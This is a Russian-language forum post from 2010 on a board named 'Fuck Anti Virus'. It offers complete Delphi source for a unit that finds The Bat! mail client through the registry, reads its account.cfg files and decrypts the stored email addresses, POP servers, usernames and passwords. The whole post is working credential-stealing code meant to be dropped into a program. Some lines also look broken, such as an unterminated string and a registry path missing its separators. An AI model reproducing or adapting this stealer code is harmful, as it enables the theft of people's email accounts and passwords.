Fuck Anti Virus

Fuck Anti Virus (/index.php)
-   Source (/forumdisplay.php?f=44)
-   -   [Delphi] Дешифруем пароли The Bat (/showthread.php?t=6332)

WestSide 21.11.2010 11:13

[Delphi] Дешифруем пароли The Bat
 
Код:

unit BatDecrypt;
interface

uses
 Windows;

function GetBatPass:string;//Основная функция, возвращающая аккаунты

implementation

const //Константа для расшифровки
  b64alphabet2: PChar = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

function SHGetSpecialFolderPath(hwndOwner:HWND;lpszPath:PChar;nFolder:Integer;fCreate:BOOL):BOOL;stdcall; external 'shell32.dll' name 'SHGetSpecialFolderPathA';
var
 PopServ,Mail,Name,Pass:string;//Переменные для получения информации

function DecodeBaseTB(Value: String): String;//Собственно декодирование
  function DecodeChunk(const Chunk: String): String;//Вложенная функция
  var
    W: LongWord;
    i: Byte;
  begin
    W := 0; Result := '';
    for i := 1 to 4 do
      if Pos(Chunk[i], b64alphabet2) <> 0 then
        W := W + Word((Pos(Chunk[i], b64alphabet2) - 1)) shl ((4 - i) * 6);
    for i := 1 to 3 do
        Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
  end;
begin
  Result := '';
  if Length(Value) mod 4 <> 0 then Exit;
  while Length(Value) > 0 do begin
    Result := Result + DecodeChunk(Copy(Value, 0, 4));
    Delete(Value, 1, 4);
  end;
end;

function DecryptTheBatPass(const Value: String): String;//Расшифровка пароля
var
  S: String;
  i: Integer;
  Len: Integer;
begin
  Result := 'нет';
  S := DecodeBaseTB(Value);
  if Length(S) < 4 then Exit;
  for i := 1 to 4 do S[i] := Chr($FF - Ord(S[i]));
  Len := PDWord(@S[1])^;
  Delete(S, 1, 4);
  for i := 1 to Length(S) do S[i] := Chr(Ord(S[i]) xor $5A);
  Result := '';
  for i := Len downto 1 do Result := Result + S[i];
end;

function ReadTheBatStrProperty(hFile: DWORD):string;//Считывание из файла акаунта
var
 bRead: DWORD;
 buf:cardinal;
 szBuffer: array[0..255] of Char;
begin
  fillchar(szBuffer,sizeof(szBuffer),#0);  //Чистим буфер
  ReadFile(hFile,buf,4,bRead,nil);        //Читаем длину
  ReadFile(hFile,szBuffer,buf,bRead,nil);//Читаем буфер
  result:=szBuffer;                    //Передаём инфу
end;

procedure GetAccountPassword(lpPath:PChar);//Получение ящика,pop сервера,имени пользователя,пароля
var
 hFile, dwSeq, dwLen, bRead: DWORD;
 q:integer;
begin
  Mail:='';Name:='';Pass:='';PopServ:='';
  hFile:=CreateFile(lpPath,GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);//Проверяем существует ли файл
  if hFile=INVALID_HANDLE_VALUE then Exit;//Если нету, то выходим
  //Читаем акаунты
  for q:=0 to 31 do
  begin
    ReadFile(hFile,dwSeq, 4,bRead,nil);//Считываем данные
    ReadFile(hFile,dwLen,4,bRead,nil);//Считываем длину
    case dwSeq of//Определяем какие данные считали
    $02:Mail:=ReadTheBatStrProperty(hFile);//Ящик
    $0B:PopServ:=ReadTheBatStrProperty(hFile);//pop сервер
    $0F:begin
          Name:=ReadTheBatStrProperty(hFile);//читаем имя пользователя
          Name:=DecryptTheBatPass(Name)    //Расшифровываем
        end;
    $10:begin
          Pass:=ReadTheBatStrProperty(hFile);//Получаем пароль
          Pass:=DecryptTheBatPass(Pass);    //Расшифровываем
        end;
    else SetFilePointer(hFile,dwLen,nil,FILE_CURRENT);//Перемещаем каретку дальше
    end;
  end;
  CloseHandle(hFile);
end;

function GetTheBatPasswords(szPath:string):string;//Получение паролей
var
 FindFileData:WIN32_FIND_DATA;
 hFind: DWORD;
 Ender:longbool;
begin
  hFind:=FindFirstFile(PChar(szPath+'*.*'),FindFileData);//Начинаем поиск файла
  if hFind<>INVALID_HANDLE_VALUE then                  //Если нашли account.cfg
  begin
    repeat
      GetAccountPassword(PChar(szPath+FindFileData.cFileName+'\account.cfg'));//Получаем данные из файла
      if (Mail<>'') and (Pass<>'') then result:=result+'Mail('+Mail+'):Pop('+PopServ+'):User('+Name+'):Pass('+Pass+'); ';
      Ender:=FindNextFile(hFind,FindFileData);//Продолжаем поиск
    until ender=false;                      //Продолжаем или нет
    FindClose(hFind);
  end;
end;

function GetBatPass:string;//Основная функция
var
 Len:integer;
 Reg:HKey;
 St: string;
 procedure Null;
 begin
  SetString(St, nil, 260);//устанавливаем длину строки
  Len:=MAX_PATH;        //Задаём длину
 end;
begin
  result:='';
  //Проверяем HKCU->Software->RIT->Working Directory
  RegOpenKeyEx(HKEY_CURRENT_USER,'SOFTWARE\RIT\The Bat!',0,KEY_QUERY_VALUE,Reg);//Читаем путь к бату
  if Reg=0 then Exit;//Если нету, то косяк...
  Null;
  if RegQueryValueEx(Reg,'Working Directory',nil,nil,PByte(St),@Len)=0 then//Берём рабочую папку бата
  begin
    if St[1]='%' then
    begin
      Null;            //Обнуляем буфер
      if RegQueryValueEx(Reg,'ProgramDir',nil,nil,PByte(St),@Len)=0 then//Берём папку бата
        Result:=GetTheBatPasswords(PChar(St)+'MAIL\');                //Берём инфу из account.cfg
      if RegOpenKeyEx(HKEY_CURRENT_USER,'SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders',0,KEY_QUERY_VALUE,Reg)=0 then
      begin
        Null;
        if RegQueryValueEx(Reg,'AppData',nil,nil,PByte(St),@Len)=0 then//Берём папку для приложений
          Result:=Result+GetTheBatPasswords(PChar(St)+'The Bat!);
      end;
    end
    else Result:=GetTheBatPasswords(PChar(St));                    //Берём инфу из account.cfg
  end;
  RegCloseKey(Reg);                                      //Закрываем реестр
end;

end.

Код:

Memo1.Lines.Add(GetBatPass);


Часовой пояс GMT +4, время: 13:32.

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot